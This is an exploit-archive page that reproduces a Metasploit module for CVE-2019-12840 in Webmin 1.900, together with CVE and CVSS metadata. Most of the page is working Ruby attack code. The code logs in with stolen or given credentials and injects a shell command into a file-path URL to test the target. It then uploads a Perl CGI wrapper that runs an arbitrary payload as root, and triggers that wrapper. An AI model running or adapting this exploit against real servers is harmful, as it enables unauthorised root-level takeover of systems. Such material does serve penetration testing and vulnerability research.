Advertisement






Webmin 1.900 Upload Authenticated Remote Command Execution

CVE Category Price Severity
CVE-2019-12840 CWE-269 Not specified Critical
Author Risk Exploitation Type Date
Mat Powell High Remote 2019-03-16
CPE
cpe:cpe:/a:webmin:webmin:1.900
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.08 0.67

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019030131

Below is a copy:

Webmin 1.900 Upload Authenticated Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin Upload Authenticated RCE',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.900 and lower versions. Any user authorized to the "Upload and Download"
        module can execute arbitrary commands with root privileges.

        In addition, if the 'Running Processes' (proc) privilege is set the user can
        accurately determine which directory to upload to. Webmin application files
        can be written/overwritten, which allows remote code execution. The module
        has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

        Using GUESSUPLOAD attempts to use a default installation path in order to
        trigger the exploit.
      ),
      'Author'         => [
        'AkkuS <Azkan Mustafa AkkuA>',                  # Vulnerability Discovery, Initial PoC module
        'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '46201'],
          ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => true
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.900', {}]],
      'DisclosureDate' => 'Jan 17 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('FILENAME',  [false, 'Filename used for the uploaded data']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'session_login.cgi'),
      'cookie' => 'testing=1',
      'vars_post' => {
        'page' => '',
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
      return $1
    end

    return nil unless res
    ''
  end

  ##
  # Target and input verification
  ##
  def check
    cookie = login
    return CheckCode::Detected if cookie == ''
    return CheckCode::Unknown if cookie.nil?

    vprint_status('Attempting to execute...')
    command = "echo #{rand_text_alphanumeric(0..9)}"

    res = send_request_cgi({
      'uri'     => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
      'cookie'  => "sid=#{cookie}"
    })

    if res && res.code == 200 && res.message =~ /Document follows/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  ##
  # Exploiting phase
  ##
  def exploit
    cookie = login
    if cookie == '' || cookie.nil?
      fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
    end
    print_good("Session cookie: #{cookie}")

    ##
    # Directory and SSL verification for referer
    ##
    phost = ssl ? 'https://' : 'http://'
    phost << peer
    print_status("Target URL => #{phost}")

    res = send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
      'headers' =>
        {
          'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
        },
      'cookie' => "redirect=1; testing=1; sid=#{cookie}"
    )
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Request failed')
    end

    print_status 'Searching for directory to upload...'
    if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
      directory = $1
    elsif datastore['GUESSUPLOAD']
      print_warning('Could not determine upload directory. Using /usr/share/webmin/')
      directory = '/usr/share/webmin/'
    else
      print_error('Failed to determine webmin share directory')
      print_error('Set GUESSUPLOAD to attempt upload to a default location')
      return
    end
    directory << 'file'
    filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
    filename << '.cgi' unless filename.end_with?('.cgi')
    upload_attempt(phost, cookie, directory, filename)

    ##
    # Loading phase of the vulnerable file
    # Command execution and shell retrieval
    ##
    print_status("Attempting to execute the payload...")
    command = payload.encoded
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri, 'file', filename),
      'cookie'  => "sid=#{cookie}"
    })
  end

  def upload_attempt(phost, cookie, dir, filename)
    limit = rand_text_alpha_upper(5..10)
    tmpvar = rand_text_alpha_upper(3..8)
    code = <<~HERE
    #!/usr/bin/perl
    $#{tmpvar} = <<'#{limit}';
    #{payload.encoded}
    #{limit}
    `$#{tmpvar}`;
    HERE

    message = Rex::MIME::Message.new
    message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
    message.add_part(dir, nil, nil, 'form-data; name="dir"')
    message.add_part('root', nil, nil, 'form-data; name="user"')
    message.add_part('1', nil, nil, 'form-data;  name="group_def"')
    message.add_part('', nil, nil, 'form-data;  name="group"')
    message.add_part('0', nil, nil, 'form-data;  name="zip"')
    message.add_part('1', nil, nil, 'form-data;  name="email_def"')
    message.add_part('Upload', nil, nil, 'form-data;  name="ok"')

    res2 = send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
      'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
      'data' => message.to_s,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'headers' =>
        {
          'Referer' => "#{phost}/updown/?xnavigation=1"
        },
      'cookie' => "redirect=1; testing=1; sid=#{cookie}"
    )

    if res2 && res2.code == 200 && res2.body =~ /Saving file/
      print_good "File #{filename} was successfully uploaded."
      register_file_for_cleanup(filename)
    else
      print_error 'Upload failed.'
      fail_with(Failure::UnexpectedReply, 'Failed to upload file')
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum